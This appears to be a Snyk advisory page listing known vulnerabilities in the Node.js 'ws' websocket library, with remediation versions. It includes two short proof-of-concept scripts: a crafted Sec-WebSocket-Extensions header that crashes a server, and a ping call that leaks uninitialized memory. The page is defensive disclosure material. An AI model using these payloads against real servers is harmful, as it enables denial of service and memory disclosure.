Last tested: 26 May, 2018

ws vulnerabilities

Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js

View on npm

ws (latest)

Published 21 May, 2018

Known vulnerabilities0
Vulnerable paths0
Dependencies1

No known vulnerabilities in ws

Security wise, ws seems to be a safe package to use.
Over time, new vulnerabilities may be disclosed on ws and other packages. To easily find, fix and prevent such vulnerabilties, protect your repos with Snyk!

Vulnerable versions of ws

Fixed in 3.3.1

Denial of Service (DoS)

high severity
  • Vulnerable module: ws
  • Introduced through: ws@3.3.0

Detailed paths

  • Introduced through: ws@3.3.0

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of the package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Remediation

Upgrade ws to version 1.1.5, 3.3.1 or higher.

References

Fixed in 1.1.2

Insecure Randomness

medium severity

Detailed paths

  • Introduced through: karma@1.1.1 > socket.io@1.4.7 > engine.io@1.6.10 > ws@1.0.1
  • Introduced through: karma@1.1.1 > socket.io@1.4.7 > socket.io-client@1.4.6 > engine.io-client@1.6.9 > ws@1.0.1
  • Introduced through: browser-sync@1.1.1 > socket.io@1.0.4 > engine.io@1.2.2 > ws@0.4.31
  • Introduced through: browser-sync@1.1.1 > socket.io@1.0.4 > socket.io-client@1.0.4 > engine.io-client@1.2.2 > ws@0.4.31
  • Introduced through: ws@1.1.1

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of the package use the cryptographically insecure Math.random() which can produce predictable values and should not be used in security-sensitive context.

Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.

There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

You can read more about node's insecure Math.random() in Mike Malone's post.

Remediation

Upgrade ws to version 1.1.2 or higher.

References

Fixed in 1.1.1

Denial of Service (DoS)

high severity

Detailed paths

  • Introduced through: socket.io@1.1.0 > engine.io@1.4.0 > ws@0.4.31
  • Introduced through: socket.io@1.1.0 > socket.io-client@1.1.0 > engine.io-client@1.4.0 > ws@0.4.31
  • Introduced through: karma@1.1.0 > socket.io@1.4.7 > engine.io@1.6.10 > ws@1.0.1
  • Introduced through: karma@1.1.0 > socket.io@1.4.7 > socket.io-client@1.4.6 > engine.io-client@1.6.9 > ws@1.0.1
  • Introduced through: browser-sync@1.1.0 > socket.io@1.0.4 > engine.io@1.2.2 > ws@0.4.31
  • Introduced through: browser-sync@1.1.0 > socket.io@1.0.4 > socket.io-client@1.0.4 > engine.io-client@1.2.2 > ws@0.4.31
  • Introduced through: ws@1.1.0

Overview

ws is a WebSocket client and server implementation.

Affected versions of this package did not limit the size of an incoming payload before it was processed by default. As a result, a very large payload (over 256MB in size) could lead to a failed allocation and crash the node process - enabling a Denial of Service attack.

While 256MB may seem excessive, note that the attack is likely to be sent from another server, not an end-user computer, using data-center connection speeds. In those speeds, a payload of this size can be transmitted in seconds.

Remediation

Update to version 1.1.1 or greater, which sets a default maxPayload of 100MB. If you cannot upgrade, apply a Snyk patch, or provide ws with options setting the maxPayload to an appropriate size that is smaller than 256MB.

References

Fixed in 1.0.1

Remote Memory Exposure

medium severity

Detailed paths

  • Introduced through: socket.io@1.0.0 > engine.io@1.2.1 > ws@0.4.31
  • Introduced through: browser-sync@1.0.0 > socket.io@1.0.4 > engine.io@1.2.2 > ws@0.4.31
  • Introduced through: browser-sync@1.0.0 > socket.io@1.0.4 > socket.io-client@1.0.4 > engine.io-client@1.2.2 > ws@0.4.31
  • Introduced through: ws@1.0.0

Overview

ws is a simple to use websocket client, server and console for node.js. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A client side memory disclosure vulnerability exists in ping functionality of the ws service. When a client sends a ping request and provides an integer value as ping data, it will result in leaking an uninitialized memory buffer.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

ws's ping function uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw memory, potentially holding secrets, private data and code.

Proof of Concept:

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this makes the client allocate an uninitialized buffer of 50 bytes and send it to the server

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data)
  })
})

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.

References